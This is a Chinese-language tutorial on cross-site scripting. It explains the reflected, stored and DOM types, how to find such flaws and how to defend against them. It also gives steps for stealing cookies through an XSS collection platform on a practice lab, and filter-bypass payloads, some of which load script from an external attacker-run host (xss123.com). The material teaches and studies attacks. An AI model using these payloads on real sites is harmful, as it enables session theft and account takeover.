XSS跨站脚本
xss漏洞原理:web应用程序对用户输入的内容和程序输出的内容没有进行严格 的过滤和检验,导致攻击者构造出的恶意代码被带入后,被当作正常的代码输出到前端页面,被浏览器当作有效代码解析执行从而产生危害。
漏洞危害
网站挂马、非法转账、强制发送电子邮件、控制受害者机器向其他网站发起攻击、盗取企业的商业价值、盗取各类账号密码
漏洞分类
反射型、存储型、DOM型
反射型XSS
漏洞介绍
定义:反射型XSS又称非持久性XSS、反射型XSS的恶意代码被写在web应用的参数中,需要受害者点击恶意代码链接,触发XSS攻击。
特点:攻击是一次性的
反射性XSS,属于交互触发的漏洞,需要用户主动点击才能触发,所以需要
攻击者主动将包含恶意代码的URL发送给用户。
漏洞发现点 网站的搜索栏:输入搜索框里的内容可以在页面上面显示出来,会存在XSS漏洞。 用户登录入口;输入登录信息点击登陆后,账号框里面账号不会消失,可能存在,这就要点开网页检查html代码,并在账号框里面要先进行标签闭合。 输入表单等地方;
存储型XSS
漏洞介绍:
定义:存储型XSS又称为持久型跨站脚本,因为XSS代码不在参数中,而是被写入数据库中或文件中。当用户浏览这个页面或内容时,触发代码加载执行。
特点:攻击代码脚本会永久存放在数据库或文件中,具有很高的隐蔽性。
# 攻击过程:
-
攻击者向Web界面插入恶意的XSS攻击代码
-
Web服务器会将其结果保存到数据库中
-
用户正常访问Web页面
-
Web页面将数据库的数据以及视图返回给前端,前端渲染并加载恶意的数据
-
客户端渲染视图,加载XSS代码并向攻击者的Web服务器发送敏感信息
-
攻击者读取用户的敏感信息
DOM型XSS
漏洞介绍:
定义:它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的 DOM解析 ,当JS脚本从URL或页面中获得数据并将其传递到支持动态代码执行的接收器时,就会产生基于DOM的XSS漏洞。
漏洞成因: 基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。
# 具体攻击流程
-
攻击者将Payload放置咋URL链接中(针对GET型反射XSS)
-
用户点击恶意链接,并打开浏览器
-
此时浏览器客户端并不会发起HTTP请求到WEB服务器,而是在浏览器客户端执行XSS代码
-
此时将XSS代码执行结果发送给攻击者的恶意服务器
-
攻击者访问自己的XSS平台并读取用户的敏感信息
XSS-窃取Cookie
步骤一:在XSS以下网站注册账号并登陆,在我的项目点击"创建"并填写项目名称,下一步
步骤二:在项目配置中选择"超级默认模块"点击下一步,便可获取其攻击的XSS语句
步骤三:随便打开一个Pikachu平台并使用账号登录...到XSS模块中执行恶意攻击代码..
步骤四:此时回到平台上可看到其劫持的Cookie信息...
XSS绕过与挖掘
# 预定义字符
○ & (和号)成为 & ○ " (双引号)成为 " ○ ' (单引号)成为 ' ○ < (小于)成为 < ○ >(大于)成为 > 但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签: <input type="text" name="username" value="" οnclick="javascript:alert('xss');"/> # Payload <script>alert("xss")</script>
XSS绕过方法
过滤alert
<script>prompt(/xss/);</script> <script>confirm(1);</script> <script src=http://www.xss123.com/eciAKj?1623635663></script>
GPC过滤字符
如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成\' ,xss 攻击代码不要带用单引号或双引号。 绕过 gpc 在 php 高版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes() 对特殊字符进行转义。 # 案例代码 这个是执行不了的 <script src='http://www.xss123.com/JGdbsl?1623638390'></script> 没有单引号可执行 <script src=//www.xss123.com/JGdbsl?1623638390></script>
Ascii编码
# fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串 <script>alert(String.fromCharCode(88,83,83))</script>
URL编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
JS编码
# 16 进制编码 <script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
HTML编码
Base64编码
构造事件绕过
其他绕过方法
XSS漏洞防御
对输入(和 URL 参数)进行过滤,对输出进行 HTML实体化编码 ,也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行;
漏洞挖掘
怎么挖XSS?
1.寻找用户输入的内容会被显示到页面中的功能点(搜索框、登录框等)
2.寻找用户插入到数据库中的数据,会被展示到页面上的功能点(注册框、留言板等)